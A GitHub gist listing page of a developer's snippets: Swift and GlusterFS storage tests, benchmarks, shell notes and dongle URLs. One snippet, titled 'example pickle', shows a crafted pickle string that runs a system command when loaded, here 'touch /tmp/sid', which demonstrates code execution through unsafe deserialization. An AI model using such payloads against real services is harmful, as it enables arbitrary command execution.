Skip to content

Instantly share code, notes, and snippets.

View prashanthpai's full-sized avatar

Prashanth Pai prashanthpai

View GitHub Profile
@prashanthpai
prashanthpai / swift_bad_func_test.py
Created September 22, 2015 06:59
testMetadataLimit
import json
import uuid
import random
# Basics
# .encode('utf-8') converts unicode into byte sequence
# .decode('utf-8') converts byte sequence into unicode
#
# A unicode code point is encoded into a sequence of bytes.
# This encoded sequence can be one byte to six bytes long.
@prashanthpai
prashanthpai / sid
Created September 3, 2015 07:17
example pickle
[root@rhs31 ~]# python
Python 2.6.6 (r266:84292, May 22 2015, 08:34:51)
[GCC 4.4.7 20120313 (Red Hat 4.4.7-15)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle as pickle
>>> import os
>>> exploit = "cos\nsystem\n(S'touch /tmp/sid'\ntR.'\ntR."
>>> pickle.loads(exploit)
0
>>> 'sid' in os.listdir('/tmp')
[vagrant@storage1 tmp]$ swift-ring-builder object.builder create 1 1 1
[vagrant@storage1 tmp]$ swift-ring-builder object.builder add r1z1-127.0.0.1:6051/test1 1
Device d0r1z1-127.0.0.1:6051R127.0.0.1:6051/test1_"" with 1.0 weight got id 0
[vagrant@storage1 tmp]$ swift-ring-builder object.builder rebalance -s 12345
Reassigned 2 (100.00%) partitions. Balance is now 0.00. Dispersion is now 0.00
[vagrant@storage1 tmp]$ ls
backups object.builder object.ring.gz
[vagrant@storage1 tmp]$ md5sum object.ring.gz
a6189aae48a89a3823eec8345ff61107 object.ring.gz
[vagrant@storage1 tmp]$ rm -rf ./*
@prashanthpai
prashanthpai / gfapi_binary.py
Created June 23, 2015 14:39
gfapi binary file test
#!/usr/bin/env python
from ctypes import *
from gluster.gfapi import Volume
from array import array
class Point(Structure):
_fields_ = [('name', c_char_p),
('x', c_double), ('y', c_double), ('z', c_double)]
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf in{1..6}.pdf
#!/usr/bin/env python
# pip install benchmark
# Comparison of makedirs_count() vs swift.common.utils.mkdirs()
import benchmark
import os
import uuid
import errno
@prashanthpai
prashanthpai / benchmarkRenamer.py
Last active April 26, 2016 13:42
Renamer() with and without fsync
#!/usr/bin/env python
import benchmark
import os
import uuid
import errno
import shutil
import random
import hashlib
@prashanthpai
prashanthpai / clean_expired.py
Created December 18, 2014 12:01
Script to manually clean expired objects from GlusterFS volume.
#!/usr/bin/env python
import os
import argparse
import math
import time
import xattr
import cPickle
METADATA_KEY = 'user.swift.metadata'
@prashanthpai
prashanthpai / makedirs.md
Last active July 10, 2017 03:50
makedirs

When directory 'a' does NOT exist:

$ strace mkdir -p ./a/b/c

mkdir("a", 0775)                        = 0
open("a", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_DIRECTORY|O_NOFOLLOW) = 3
fchdir(3)                               = 0
close(3)                                = 0
mkdir("b", 0775)                        = 0
open("b", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_DIRECTORY|O_NOFOLLOW) = 3
@prashanthpai
prashanthpai / airtel-4g.md
Last active January 8, 2018 07:09
Airtel 4G

Dongle: ZTE MF825A

Assuming 192.168.0.1 is the IP of your dongle:

Connect

http://192.168.0.1/goform/goform_set_cmd_process?goformId=CONNECT_NETWORK